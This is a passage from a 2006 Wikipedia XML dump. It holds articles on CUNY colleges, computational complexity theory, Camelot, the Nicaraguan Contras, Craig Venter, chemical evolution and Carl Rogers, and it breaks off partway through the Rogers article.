*([[1964]]) [[John Jay College of Criminal Justice]] 
*([[1955]]) [[College of Staten Island]] 
*([[1946]]) [[New York City College of Technology]]
*([[1937]]) [[Queens College, New York|Queens College]] 
*([[1931]]) [[Lehman College]] (as ''Hunter-in-the-Bronx'', a Bronx branch of Hunter College, renamed in 1968 as Lehman College)
*([[1930]]) [[Brooklyn College]] 
*([[1919]]) [[Baruch College]] (as ''City College’s School of Business and Civic Administration'', renamed in 1953 to honor Bernard M. Baruch)
*([[1870]]) [[Hunter College]] 
*([[1847]]) [[City College of New York|City College]]

=== Community colleges ===

*([[1970]]) [[Hostos Community College]]
*([[1968]]) [[LaGuardia Community College]] 
*([[1963]]) [[Kingsborough Community College]] 
*([[1963]]) [[Borough of Manhattan Community College]] 
*([[1958]]) [[Queensborough Community College]] 
*([[1957]]) [[Bronx Community College]]

=== Graduate and professional schools ===

*([[1983]]) [[CUNY Law School]]
*([[1973]]) [[Sophie Davis School of Biomedical Education]]
*([[1961]]) [[CUNY Graduate Center]]

==See also==
*[[Education in New York City]]
*Official website: [http://www.cuny.edu/ City University of New York]

{{CUNY}}
{{New York City}}

[[Category:City University of New York|*]]
[[Category:Universities and colleges in New York City]]
[[Category:Middle States Association of Colleges and Schools]]

[[ja:ニューヨーク市立大学]]
[[pt:Universidade da Cidade de Nova Iorque]]</text>
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  </page>
  <page>
    <title>Christian Alternative</title>
    <id>7542</id>
    <revision>
      <id>38162152</id>
      <timestamp>2006-02-04T16:51:23Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Christian alternative rock]]</text>
    </revision>
  </page>
  <page>
    <title>Computational complexity theory</title>
    <id>7543</id>
    <revision>
      <id>41927488</id>
      <timestamp>2006-03-02T17:59:27Z</timestamp>
      <contributor>
        <username>Readams</username>
        <id>611118</id>
      </contributor>
      <comment>no, it won't be possible.  2^100 is and always will be intractable.  Sorry.</comment>
      <text xml:space="preserve">In [[computer science]], '''computational complexity theory''' is the branch of the [[theory of computation]] that studies the resources, or ''cost'', of the computation required to solve a given problem.  This cost is usually measured in terms of abstract parameters such as time and space.  ''Time'' represents the number of steps it takes to solve a problem and ''space'' represents the quantity of information storage required or how much memory it takes.  There are often tradeoffs between time and space that have to be considered when trying to solve a computational problem.  It often turns out that an alternative algorithm will require less time but more space (or vice versa) to solve a given problem.  Time requirements sometimes must be amortized to determine the time cost for a well defined average case.  Space requirements can be profiled over time, too, especially in consideration of a multi-user computer system.

Other resources can also be considered, such as how many [[parallel processor]]s are needed to solve a problem in parallel.  In this case, &quot;parallelizable time&quot; and &quot;non-parallelizable time&quot; are considered.  The latter is important in real-time applications, and it gives a limit to how far the computation can be parallelized.  Some steps must be done sequentially because they depend on the results of previous steps.

Complexity theory differs from [[computability theory (computation)|computability theory]], which deals with whether a problem can be solved at all, regardless of the resources required.

==Overview==
After the theory explaining which problems can be solved and which cannot be, it was natural to ask about the relative computational difficulty of [[computable function]]s. This is the subject matter of computational complexity.

A single &quot;problem&quot; is an entire set of related questions, where each question is a finite-length [[string (computer science)|string]].  For example, the problem [[integer factorization|''FACTORIZE'']] is:  given an integer written in [[binary number|binary]], return all of the [[prime number|prime]] factors of that number.  A particular question is called an ''instance''.  For example, &quot;give the factors of the number 15&quot; is one instance of the ''FACTORIZE'' problem. 

The '''time complexity''' of a problem is the number of steps that it takes to solve an instance of the problem as a function of the [[problem size|size of the input]] (usually measured in bits), using the most efficient [[algorithm]]. To understand this intuitively, consider the example of an instance that is ''n'' bits long that can be solved in ''n''² steps.  In this example we say the problem has a time complexity of ''n''².  Of course, the exact number of steps will depend on exactly what machine or language is being used.   To avoid that problem, we generally use [[Big O notation]].  If a problem has time complexity O(''n''²) on one typical computer, then it will also have complexity O(''n''²p(n)) on most other computers for some polynomial p(n), so this notation allows us to generalize away from the details of a particular computer.

'''Example:''' Mowing grass has linear complexity because it takes double the time to mow double the area.
However, looking up something in a dictionary has only logarithmic complexity because a double sized dictionary only has to be opened one time more (e.g. exactly in the middle - then the problem is reduced to the half).

==Decision problems==
Much of complexity theory deals with decision problems.  A [[decision problem]] is a problem where the answer is always YES/NO.  For example, the problem ''IS-PRIME'' is:  given an integer written in binary, return whether it is a prime number or not.  A decision problem is equivalent to a ''language'', which is a set of finite-length strings.  For a given decision problem, the equivalent language is the set of all strings for which the answer is YES.

Decision problems are often considered because an arbitrary problem can always be reduced to a decision problem.  For example, the problem ''HAS-FACTOR'' is: given integers ''n'' and ''k'' written in binary, return whether ''n'' has any prime factors less than ''k''.  If we can solve ''HAS-FACTOR'' with a certain amount of resources, then we can use that solution to solve ''FACTORIZE'' without much more resources.  Just do a [[binary search]] on ''k'' until you find the smallest factor of ''n''.  Then divide out that factor, and repeat until you find all the factors.  

Complexity theory often makes a distinction between YES answers and NO answers.
For example, the set NP is defined as the set of problems where the YES instances can be checked &quot;quickly&quot; (i.e. in polynomial time).  The set Co-NP is the set of problems where the NO instances can be checked quickly.  The &quot;Co&quot; in the name stands for &quot;complement&quot;.  The ''[[complement (complexity)|complement]]'' of a problem is one where all the YES and NO answers are swapped, such as ''IS-COMPOSITE'' for ''IS-PRIME''.

An important result in complexity theory is the fact that no matter how hard a problem can get (i.e. how much time and space resources it requires), there will always be even harder problems. For time complexity, this is determined by the [[time hierarchy theorem]]. A similar [[space hierarchy theorem]] can also be derived.

==Complexity classes==
The [[Complexity class|complexity class]] [[P (complexity)|P]] is the set of decision problems that can be solved by a [[Deterministic Turing machine|deterministic machine]] in polynomial time.  This class corresponds to an intuitive idea of the problems which can be effectively solved in the worst cases.

The complexity class [[NP (complexity)|NP]] is the set of decision problems that can be solved by a [[Non-deterministic_Turing_machine|non-deterministic machine]] in polynomial time.  This class contains many problems that people would like to be able to solve effectively, including the [[Boolean satisfiability problem]], the [[Hamiltonian path problem]] and the [[Vertex cover problem]].  All the problems in this class have the property that their solutions can be checked effectively.

Many complexity classes can be characterized in terms of the [[mathematical logic]] needed to express them; see [[descriptive complexity]].

==The P&lt;nowiki&gt; = &lt;/nowiki&gt;NP question==
The question of whether P is the same set as NP is the most important open question in theoretical computer science.  There is even a [[Clay Mathematics Institute|$1,000,000 prize]] for solving it.  (See '''[[complexity classes P and NP]]''' and '''[[oracle machine|oracles]]''').

Questions like this motivate the concepts of ''hard'' and ''complete''.  A set of problems ''X'' is hard for a set of problems ''Y'' if every problem in ''Y'' can be transformed easily into some problem in ''X'' with the same answer.  The definition of &quot;easily&quot; is different in different contexts.  The most important hard set is [[NP-hard]].  Set ''X'' is complete for ''Y'' if it is hard for ''Y'', and is also a subset of ''Y''.  The most important complete set is [[NP-complete]].  See the articles on those two sets for more detail on the definition of &quot;hard&quot; and &quot;complete&quot;.

==Intractability==
Problems that are [[Decidability|solvable in theory]], but can't be solved in practice, are called ''intractable''. What can be solved &quot;in practice&quot; is open to debate, but in general only problems that have polynomial-time solutions are solvable for more than the smallest inputs. Problems that are known to be intractable include those that are [[EXPTIME]]-complete. If NP is not the same as P, then the NP-complete problems are also intractable.

To see why exponential-time solutions are not usable in practice, consider a problem that requires 2&lt;sup&gt;n&lt;/sup&gt; operations to solve (n is the size of the input). For a relatively small input size of n=100, and assuming a computer that can perform 10&lt;sup&gt;10&lt;/sup&gt; (10 [[giga]]) operations per second, a solution would take about 4*10&lt;sup&gt;12&lt;/sup&gt; years, much longer than the current [[age of the universe]].

==Notable researchers==
* [[Manindra Agrawal]]
* [[Sanjeev Arora]]
* [[Laszlo Babai]]
* [[Manuel Blum]], who developed an axiomatic complexity theory based on his [[Blum axioms]]
* [[Allan Borodin]]
* [[Stephen Cook]]
* [[Lance Fortnow]]
* [[Juris Hartmanis]]
* [[Russell Impagliazzo]]
* [[Richard Karp]]
* [[Marek Karpinski]]
* [[Leonid Levin]]
* [[Richard Lipton]]
* [[Noam Nisan]]
* [[Christos H. Papadimitriou]]
* [[Alexander Razborov]]
* [[Walter Savitch]]
* [[Michael Sipser]]
* [[Richard Stearns]]
* [[Madhu Sudan]]
* [[Leslie Valiant]]
* [[Umesh Vazirani]]
* [[Avi Wigderson]]
* [[Andrew Yao]]
* [[Eugene Yarovoi]]

==See also==
*[[Complexity]]
*[[List of important publications in computer science#computational complexity theory| List of important publications in computational complexity theory]]
*[[List of open problems in computer science#computational complexity theory| List of open problems in computational complexity theory]]
*[[List of computability and complexity topics]]
*[[Game complexity]]

==References==
* L. Fortnow, Steve Homer (2002/2003).   [http://people.cs.uchicago.edu/~fortnow/papers/history.pdf A Short History of Computational Complexity].  In D. van Dalen, J. Dawson, and A. Kanamori, editors, ''The History of Mathematical Logic''. North-Holland, Amsterdam.

==External links==
*   [http://qwiki.caltech.edu/wiki/Complexity_Zoo The Complexity Zoo]
*   [http://weblog.fortnow.com/ Computational Complexity]

{{ComplexityClasses}}

[[Category:computational complexity theory|*]]

[[de:Komplexitätstheorie]]
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  <page>
    <title>Cadence</title>
    <id>7544</id>
    <revision>
      <id>40162665</id>
      <timestamp>2006-02-18T17:18:08Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <comment>[[MoS:DP]] formatting</comment>
      <text xml:space="preserve">{{wiktionarypar2|Cadence|cadence}}
'''Cadence''' may refer to:
 
In music:
*[[Cadence (music)]], a [[chord progression]] that comes at the closing of a musical phrase
*[[Military cadence]], a chant that is sung by military personnel while running or marching
*[[Cadenza]], a long, unaccompanied, freely played, and sometimes [[improvisation|improvised]] solo passage in a [[concerto]].
*[[Ring cadence]],  in [[telephony]], refers to the ringing pattern heard by called party, before they pick up the call

Other:
*[[Cadence (cycling)]],  the number of revolutions of the [[crank]]s per minute
*[[Cadence (film)]], a 1990 film directed by Martin Sheen.
*[[Cadence Design Systems]], an electronic design automation company
*''Cadence'', a girls name, growing popularity as featured in such films as 'Shallow Hal' and 'American Wedding'

{{disambig}}</text>
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  <page>
    <title>Kolkota</title>
    <id>7545</id>
    <revision>
      <id>15905608</id>
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      <contributor>
        <username>Woohookitty</username>
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      <text xml:space="preserve">#REDIRECT [[Kolkata]]</text>
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  <page>
    <title>Camelot</title>
    <id>7546</id>
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      <id>41914336</id>
      <timestamp>2006-03-02T16:10:01Z</timestamp>
      <contributor>
        <username>LtPowers</username>
        <id>749490</id>
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      <minor />
      <comment>rv. vandalism by [[User:216.170.88.138|216.170.88.138]] ([[User_talk:216.170.88.138|talk]]).</comment>
      <text xml:space="preserve">{{OtherUses|the mythical Castle}}

'''Camelot''' is the name of the [[castle|stronghold]] of the [[legend]]ary [[King Arthur]], from which he fought many of the battles that made up his life. Its specific location is currently unknown and may be a fictionalized [[Romano-British]] province of post-Roman Britain. The city is first named in [[Chrétien de Troyes]]' poem ''[[Lancelot]]'', where it does not seem as important as it would become in Arthurian legend. Since the location of Camelot is still a mystery, the truth about it&amp;mdash;if there is one&amp;mdash;is still unknown.

==Geographical references==
Possible locations of Camelot include:
* Saltwell Park, in [[Gateshead]]
* [[Cadbury Castle]]
* [[Tintagel Castle]]
* [[Viroconium]] 
* [[Caerleon]]-on-Usk, in South Wales 
* [[Dinerth Castle]] near the River Arth, West Wales

Though the name &quot;Camelot&quot; may be derived from [[Camulodunum]] (modern Colchester), the stronghold of the [[Catuvellauni]] kings, and later the provincial capital of Roman Britannia, its Essex location (in East Anglia) places it in the wrong Anglo-Saxon kingdom.

==In popular culture==
The phrase 'Camelot' is often used to refer to the period in [[United States history|US history]] of [[1960]]-[[1963]]. More specifically, it refers to the presidency of [[John F. Kennedy]], as his term was said to have a lot of potential and promise for the future and the period was idyllic for many in the world, encouraged by Kennedy. The period was ended by Kennedy's tragic assassination, which is often compared to the fall of King Arthur. The line &quot;Don't let it be forgot, that once there was a spot, for one brief shining moment, that was known as Camelot&quot; from the musical ''[[Camelot (musical)|Camelot]]'', has been used in pop culture to refer to this period. 

The Camulod Chronicles by [[Jack Whyte]] is a historical fiction series based on Roman Britain and Medieval Britain wrapped around the Arthurian legends.

In the film ''[[Monty Python and the Holy Grail]]'', Camelot is called a &quot;silly place&quot; by [[Graham Chapman|King Arthur]], and the [[Knights of the Round Table]] decide not to go there.

In the television show, ''[[Third Watch]]'', the precinct is nicknamed by the officers &quot;Camelot&quot; due to its location on the corner of King and Arthur.

The musical ''[[Camelot (musical)|Camelot]]'', by [[Alan Jay Lerner]] and [[Frederick Loewe]], is loosely based on the legend.

==See also==
*[[List of ancient mysteries]]

[[Category:Arthurian legend]]
[[Category:Ancient mysteries]]
[[Category:Lost cities and towns]]

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  <page>
    <title>Contras</title>
    <id>7548</id>
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      <id>41452354</id>
      <timestamp>2006-02-27T12:30:06Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">:''For other uses of the word or name, see'' [[Contra (disambiguation)]]

The '''Contras''' (from the [[Spanish language|Spanish]] term ''La Contra'', short for movement of the ''contrarrevolucionarios'', meaning counter-revolutionaries) were the armed opponents of [[Nicaragua]]'s  [[Sandinista National Liberation Front|Sandinista]] [[Junta of National Reconstruction]] following the July [[1979]] overthrow of [[Anastasio Somoza Debayle]] and the ending of the Somoza family's 43-year rule. The label was commonly used by the US press to cover a range of groups opposed to the Sandinistas, with little in the way of ideological unity; thus some references use the uncapitalized form, '''contra''', which means against or counter in [[Spanish language|Spanish]]. 

The Contras were considered [[terrorism|terrorists]] by the Sandinistas, who alleged their attacks targeted civilians. The Contras, who initially received financial and other forms of support from the Argentine military regime and then U.S. [[Central Intelligence Agency|CIA]], mounted raids which targeted northern Nicaragua, particularly coffee plantations and farming cooperatives. They received sympathy and support from Nicaraguan peasants opposed to the Sandinistas' [[nationalization]] of their land, formation of large farming co-ops, and mistreatment of dissenters; however, they were also opposed by Nicaraguans and [[human rights]] groups who viewed their tactics as brutal and indiscriminate. According to human rights group [[Americas Watch]], the Contras engaged in &quot;violent abuses ... so prevalent that these may be said to be their principal means of waging war.&quot;

==History==
The earliest were MILPAS, peasant militias led by former Sandinista supporters. These militias were the majority of the first true Contra groups formed in [[1980]]-[[1981]] in [[Honduras]], Nicaragua's northern neighbour, allying in August 1981 as the [[Nicaraguan Democratic Force]] (''Fuerza Democrática Nicaragüense'', FDN) under the command of former [[Guardia Nacional (Nicaragua)|National Guard]] (army) colonel [[Enrique Bermudez|Enrique Bermúdez]] and [[Jaime Irving Steidel]] a [[Honduras|Honduran]]-born Field Commander, later replaced by Oscar Sobalvarro. A joint political directorate was created in February [[1983]] under businessman and anti-Sandinista politician [[Adolfo Calero]].

A second front in the war opened with the creation in [[Costa Rica]] in April [[1982]] of the [[Democratic Revolutionary Alliance]] (ARDE) and its armed wing, the Sandino Revolutionary Front (FRS), by [[Edén Pastora]] (''Comandante Cero''), former Sandinista hero of the August 1978 seizure of Somoza's palace. ARDE was formed by [[Sandinista]] dissidents and veterans of the anti-Somoza campaign who opposed the increased influence of [[Cuba]]n officials in the [[Managua]] regime.  Proclaiming his ideological distance from the FDN, Pastora nevertheless styled his force the &quot;southern front&quot; in a common campaign. 

A third anti-Sandinista force, [[Misurasata]], appeared among the [[Miskito]], [[Sumu]] and [[Rama]] [[Amerindian]] peoples of Nicaragua's Atlantic coast, who in December 1981 found themselves in conflict with the revolutionary authorities following what the [[Sandinista]] government later called an &quot;ill-judged modernisation drive,&quot; and what the Miskitos themselves called [[genocide]]. In [[1983]] the Misurasata movement led by Brooklyn Rivera split, the breakaway [[Misura]] group of Stedman Fagoth allying itself more closely with the FDN. 

The Misurasata did not consider the actions of the [[Sandinista]] government as just an &quot;ill-judged modernisation drive&quot;, but an attempt to force the tribes to participate in the revolution. The Misurasata had a number of grievances against the [[Sandinista]] government including:

* Unilateral natural resource exploitation policies which denied Indians access to much of their traditional land base and severely restricted their subsistence activities 
* The arrest, imprisonment and subsequent execution of the majority of the Misurasata leadership
* The military occupation, bombing, or deliberate destruction of over half of all Miskito and Sumu villages in the region, and the forced conscription of Indian youth into the Nicaraguan military
* Forced removal of at least 10,000 Indians from their traditional lands to relocation and re-education centers in the interior of the country, and subsequent burning of their villages 
* Economic embargoes and blockades against native villages not sympathetic to the government

U.S. officials were also active in drawing the various Contra groups together in [[June 1985]] as the United Nicaraguan Opposition under the leadership of Calero, Arturo Cruz and Alfonso Robelo, all former members of the original Sandinista cadre: after its dissolution early in [[1987]], the Nicaraguan Resistance (RN) was organised along similar lines (May 1987). Splits within the rebel movement emerged with Pastora's defection (May 1984) and Misurasata's April 1985 accommodation with the Sandinista government: a subsequent autonomy statute (September 1987) largely defused Miskito resistance. 

Mediation by other Central American governments under Costa Rican leadership led finally to the Sapoa ceasefire agreement of [[March 23]], [[1988]], which with additional agreements (February, August 1989) provided for the Contras' disarmament and re-integration into Nicaraguan society and politics, and internationally-monitored elections which were subsequently won ([[February 25]], [[1990]]) by an anti-Sandinista centre-right coalition. 

Some Contra elements and disaffected Sandinistas returned briefly to armed opposition in the [[1990s]], sometimes calling themselves ''recontras'' or ''revueltos'', but these groups were subsequently persuaded to disarm again.

== U.S. military &amp; financial assistance ==

''See also the [[Iran-Contra affair]]''

A key role in the development of the Contra alliance was played by the [[United States]] following [[Ronald Reagan]]'s assumption of the presidency in January [[1981]]. Reagan accused the [[Sandinista]]s of importing Cuban-style [[socialism]] and aiding [[FMLN|leftist guerrillas]] in [[El Salvador]]. On [[November 23]] of that year, Reagan signed the [[top secret]] National Security Decision Directive 17 (NSDD-17), giving the [[Central Intelligence Agency]] the authority to recruit and support the Contras with $19 million in military aid. The effort to support the Contras was one component of the so-called [[Reagan Doctrine]], championed by American [[conservative]]s, which called for providing U.S. military support to movements opposing [[Soviet Union|Soviet-supported]], communist-led governments.

In [[1984]] Nicaragua filed a suit in the [[International Court of Justice]] against the United States in [[Nicaragua v. United States]], which in [[1986]] resulted [http://www.icj-cij.org/icjwww/icases/inus/inus_isummaries/inus_isummary_19860627.htm] in a guilty verdict against the US, calling on it to &quot;cease and to refrain&quot; from the unlawful use of force against Nicaragua through placement of underwater mines by CIA operatives and training, funding and support of the guerrilla forces. The US was &quot;in breach of its obligation under customary international law not to use force against another state&quot; and was ordered to pay reparations (see note 1). The US response to this ruling was to dismiss the jurisdiction of the court, holding that its power did not supersede the Constitution, and escalate the war, besides pointing out that the court did not take in consideration the alleged role Nicaragua played as a [[Cold War]] proxy in a purported Soviet offensive.

After direct military aid was interrupted by the [[Boland Amendment]] (passed by the U.S. Congress in December 1982 and extended in October 1984 to forbid action by not only the Defense Department and the [[Central Intelligence Agency]] but all U.S. government agencies), Administration officials sought to arrange funding and military supplies by means of third-parties, culminating in the [[Iran-Contra Affair]] of 1986-1987. 

On [[February 3]], [[1988]] the [[United States House of Representatives]] rejected President [[Ronald Reagan]]'s request for $36.25 million to aid the Contras.

Senator [[John Kerry]]'s [[1988]] [[U.S. Senate Committee on Foreign Relations]] report on Contra-drug links concluded that &quot;senior U.S. policy makers were not immune to the idea that drug money was a perfect solution to the Contras' funding problems.&quot; [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB113/index.htm] According to the [[National Security Archive]], [[Oliver North]], a main character of the [[Irangate|Iran-Contra affair]], had been in contact with [[Manuel Noriega]], Panama's drug-lord, whom he personally met.

The [[Reagan administration]]'s support for the Contras continued to stir controversy well into the 1990s. In [[August 1996]], ''[[San Jose Mercury News]]'' reporter [[Gary Webb]] published a series titled ''Dark Alliance'' [http://www.narconews.com/darkalliance/drugs/start.htm], allegedly linking the origins of [[crack cocaine]] in California to the Contras. [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB2/nsaebb2.htm] Webb's controversial and highly damaging revelations were disputed at the time; subsequent revelations largely confirmed some of his findings. [[Freedom of Information Act]] inquiries by the National Security Archive and other investigators unearthed a number of documents showing that White House officials, including Oliver North, knew about and supported using money raised via [[drug trafficking]] to fund the Contras. Sen. John Kerry's report in 1988 came to the same conclusions.[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB113/north06.pdf]   However, major media outlets and the Justice Department denied the allegations.

== Notes ==
# [http://www.icj-cij.org/icjwww/icases/inus/inus_ijudgment/inus_ijudgment_toc.htm ICJ Judgement] on the case: &quot;Military and Paramilitary Activities in and Against Nicaragua&quot; (Nicaragua v. United States Of America)

==Further reading==

* Belli, Humberto. (1985). ''Breaking Faith: The Sandinista Revolution and Its Impact on Freedom and Christian Faith in Nicaragua.'' Crossway Books/The Puebla Institute.
* Brody, Reed. (1985). ''Contra Terror in Nicaragua: Report of a Fact-Finding Mission: September 1984-January 1985''. Boston: South End Press. ISBN 0896083136. 
* Brown, Timothy. (2001). ''The Real Contra War: Highlander Peasant Resistance in Nicaragua''. University of Oklahoma Press. ISBN 0806132523.
* [[Edgar Chamorro|Chamorro, Edgar]]. (1987). ''Packaging the Contras: A Case of CIA Disinformation''. New York: Institute for Media Analysis. ISBN 0941781089; ISBN 0941781070.
* Christian, Shirley. (1986) ''Nicaragua, Revolution In the Family.'' New York: Vintage Books.
* Cox, Jack. (1987) ''Requiem in the Tropics: Inside Central America.'' UCA Books.
* Cruz S., Arturo J. (1989).  ''Memoirs of a Counterrevolutionary''. (1989).  New York: Doubleday.
* Dickey, Christopher. (1985, 1987). ''With the Contras: A Reporter in the Wilds of Nicaragua''.  New York: Simon &amp; Schuster.
* Garvin, Glenn.  (1992). ''Everybody Had His Own Gringo: The CIA and the Contras''.  Washington: Brassey's. 
* Horton, Lynn.  ''Peasants in Arms: War and Peace in the Mountains of Nicaragua, 1979-1994''. (1998).  Athens: Ohio University Center for International Studies.
* Kirkpatrick, Jean. (1982) ''Dictatorships and Double Standards.'' Touchstone.
* Miranda, Roger, and William Ratliff. (1993, 1994) &quot;The Civil War in Nicaragua: Inside the Sandinistas.&quot; New Brunswick, NY: Transaction Publishers.
* Moore, John Norton (1987). ''The Secret War in Central America: Sandinista Assault on World Order.'' university Publications of America.
* Pardo-Maurer, Rogelio. (1990) ''The Contras, 1980-1989: A Special Kind of Politics''. New York: Praeger.
* Persons, David E. (1987) ''A Study of the History and Origins of the Nicaraguan Contras''. Nacogdoches, Texas: Total Vision Press. Stephen Austin Univ. Special Collections.
* [[Gary Webb|Webb, Gary]] (1998). ''Dark Alliance: The CIA, the Contras, and the Crack Cocaine Explosion'', Seven Stories Press. ISBN 1888363681 (hardcover, 1998), ISBN 1888363932 (paperback, 1999).

==See also==

*[[Iran-Contra affair]]
*[[Oliver North]]
*[[Gary Webb]]
*[[Ronald Reagan]]
*[[Sandinista National Liberation Front]]


==External links==
*[http://www.thirdworldtraveler.com/Blum/Nicaragua_KH.html &quot;Nicaragua 1981-1990: Destabilization in slow motion], by [[William Blum]]
*[http://www.mega.nu:8080/ampp/webb.html &quot;Dark Alliance&quot;], by [[Gary Webb]], ''San Jose Mercury News'', August 1996
*[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB2/nsaebb2.htm  The Contras, Cocaine, and Covert Operations], [[National Security Archive]]
*[http://www.piratesandemperors.com/  Pirates and Emperors], Political satire, Schoolhouse Rock style

[[Category:Anti-communism]]
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  </page>
  <page>
    <title>Craig Venter</title>
    <id>7550</id>
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      <timestamp>2006-03-01T05:44:28Z</timestamp>
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        <username>WAS 4.250</username>
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      <text xml:space="preserve">[[Image:Venter-janich2.jpg|right|thumb|320px|Dr. Venter (right) with Michael Janich on his visit in Hong Kong in December 2004]]

'''John Craig Venter''' (born [[October 14]], [[1946]], [[Salt Lake City]]) is an American [[biologist]] and businessman.  He began his academic career at a [[community college]], [[College of San Mateo]] (California), after enlisting in the [[United States Navy|navy]] and serving a tour of duty during the [[Vietnam War]]. On returning, he received his [[bachelor's degree]] in [[biochemistry]] in [[1972]], and his [[Doctor of Philosophy|Ph.D.]] in [[physiology]] and [[pharmacology]] in [[1975]], both from the [[University of California, San Diego]]. After working at the [[University at Buffalo|State University of New York at Buffalo]], he joined the [[National Institutes of Health]] in 1984.

While at NIH, Venter learned of a technique for rapidly identifying all of the [[mRNA]]s present in a cell, and began to use it to rapidly identify human brain genes.  The short [[Complementary DNA|cDNA]] sequence fragments discovered by this method are called [[Expressed sequence tag]]s, or ESTs, a name coined by Anthony Kerlavage at [[The Institute for Genomic Research]].  In a controversial court case, Venter tried to patent these gene fragments and lost the case.

He was the former president and founder of [[Celera Genomics]], which became famous for running a [[Human Genome Project]] of its own for commercial purposes, using [[shotgun sequencing]] technology in [[1999]]. [[DNA]] from 5 individuals was used by Celera to generate the sequence of the human genome; one of the 5 individuals used in this project was Venter.  Venter was fired by Celera in early 2002 after it became clear that selling genome data would not become profitable and Venter resisted efforts by the company board to change the strategic direction of the company.

Venter founded [[The Institute for Genomic Research]] (TIGR) in [[1992]].  Venter is currently the president of the [[J. Craig Venter Institute]], created and funded by TIGR's board (which Venter chairs). In June of 2005, he co-founded [[Synthetic Genomics]], a firm dedicated to using modified [[microorganisms]] to produce [[ethanol]] and [[hydrogen]] as [[alternative fuel|alternative fuels]].

Venter has been the subject of several articles, notably in ''[[Wired magazine|Wired]]'' and ''[[The Economist]]'' in [[December 2004]], and Australian science magazine [[Cosmos (magazine)|Cosmos]] in 2005.  

==External links==
*[http://www.venterinstitute.org/ J Craig Venter Institute]
*[http://www.sorcerer2expedition.org/ Sourcerer II Expedition]
*[http://www.genomicresource.org/ JTC Genomic Resources]

[[Category:1946 births|Venter, Craig]]
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  <page>
    <title>Chemical Evolution</title>
    <id>7551</id>
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      <text xml:space="preserve">#REDIRECT [[Chemical_evolution]]
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  <page>
    <title>Chemical evolution</title>
    <id>7552</id>
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      <contributor>
        <ip>62.245.210.87</ip>
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      <comment>/* See also */ [[Hypercycle]]</comment>
      <text xml:space="preserve">'''Chemical evolution''' has two meanings and uses. The first refers to the theories of evolution of the [[chemical element]]s in the universe following the [[Big Bang]] and through [[nucleosynthesis]] in [[star]]s and [[supernova]]s.

The second use of '''chemical evolution''' or ''chemosynthesis'' is as a hypothesis to explain how [[life]] might possibly have developed or evolved from non-life (see [[abiogenesis]]). Various experiments have been made to show certain aspects of this process, the first ones were done by [[Stanley L. Miller]] in the [[1950s]]. For that they are now called [[Miller experiment]]s. However only very basic organic building blocks were obtained. The challenge is getting complex molecules organized consistently.

The hypothesis is that simple chemical compounds could catalyze the creation of copies of themselves (somewhat similar to the formation of a [[crystal]] or [[polymer]]) in an environment rich with the necessary building block compounds or elements.  As these [[chemical replicators]] &quot;reproduce&quot;, they can be created with slightly different structures randomly, similar to biological [[mutation]]s.  Eventually these replicators would produce [[protocell]]s.

== See also ==
* [[RNA world hypothesis]]
* [[Origin of life]]
* [[Self-replication]]
* [[Hypercycle]]
* [[Self-assembly]]
* [[Autopoiesis]]

== External links ==
* [http://www.ibiblio.org/astrobiology/index.php?page=origin04 Chemosynthesis: A Theory for the Chemical Development of Life] Accessed Jan. 3, 2006
* [http://www.humanthermodynamics.com/Evolution-Table.html Molecular Evolution Table]
* [http://www.ideacenter.org/contentmgr/showdetails.php/id/838 Problems with the Natural Chemical &quot;Origin of Life&quot;]

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  <page>
    <title>Carl Rogers</title>
    <id>7554</id>
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        <username>Palica</username>
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      <text xml:space="preserve">'''Carl Ransom Rogers''' ([[January 8]], [[1902]] &amp;ndash; [[February 4]], [[1987]]) was an influential American [[psychologist]], who, along with [[Abraham Maslow]], was the founder of the [[Humanistic psychology|humanist approach]] to [[psychology]]. He was also instrumental in the development of non-directive [[psychotherapy]], which he initially termed Client-Centered Therapy. He later renamed it as the ''Person-Centered Approach'' (PCA) to reflect that his theories were meant to apply to all interactions between people, not just to those between [[Psychotherapy|therapist]] and [[client]]. Today PCA is also called [[person-centered psychotherapy]].

==Biography==
Rogers was born in [[Oak Park, Illinois|Oak Park]], [[Illinois]], a [[Chicagoland|Chicago suburb]]. His father was a [[civil engineer]] and his mother was a [[housewife]] and devout [[Christianity|Christian]]; Rogers was the fourth of six children. 

Rogers could read by kindergarten, and his education started in the second grade. Following an education in a strict religious and ethical environment, he became a rather isolated, independent and disciplined person, and acquired a knowledge and an appreciation for the [[scientific method]] in a practical world.  His first career choice was [[agriculture]], followed by [[religion]].  At age 20, following his [[1922]] trip to [[Beijing]], [[China]], for an international Christian conference, he started to doubt his religious convictions.  To help him clarify his career choice, he attended a seminar entitled ''Why am I entering the [[Religious ministry (Christian)|Ministry]]?'', after which he decided to change career.

After two years he left the [[seminary]] and took his M.A. ([[1928]]) and his Ph.D. ([[1931]]) from [[Columbia University]]'s Teachers College.  While completing his doctoral work, he engaged in child study at the [[Society for the Prevention of Cruelty to Children]], in [[Rochester, New York]], becoming the agency's director in [[1930]]. 

He was offered a full professorship at [[Ohio State University]] in [[1940]].  In [[1942]], he wrote his first book, ''[[Counseling and Psychotherapy]]''.  In it, Rogers suggested that the client, by establishing a relationship with an understanding, accepting [[therapist]], can resolve difficulties and gain the insight necessary to restructure his life. 

Then, in [[1945]], he was invited to set up a counseling center at the [[University of Chicago]].  It was while working there, in [[1951]], he published his major work, ''[[Client-Centered Therapy]]'', wherein he outlines his basic theory.  In [[1956]] Rogers became the first President of the [[American Academy of Psychotherapists]].  In [[1957]] he arrived at the [[University of Wisconsin-Madison|University of Wisconsin]].  However, following several internal conflicts at the department of psychology at Wisconsin, Rogers became disillusioned with [[academia]].

In [[1964]], Rogers was selected '[[humanist]] of the year' by the [[American Humanist Association]], and he received an offer to join the staff of the [[Western Behavioral Studies Institute]] (WBSI) for research, which he accepted and then moved to [[La Jolla, California]].  He remained in La Jolla, doing therapy, speeches and writing until his sudden death 23 years later.

==Contributions to psychology==
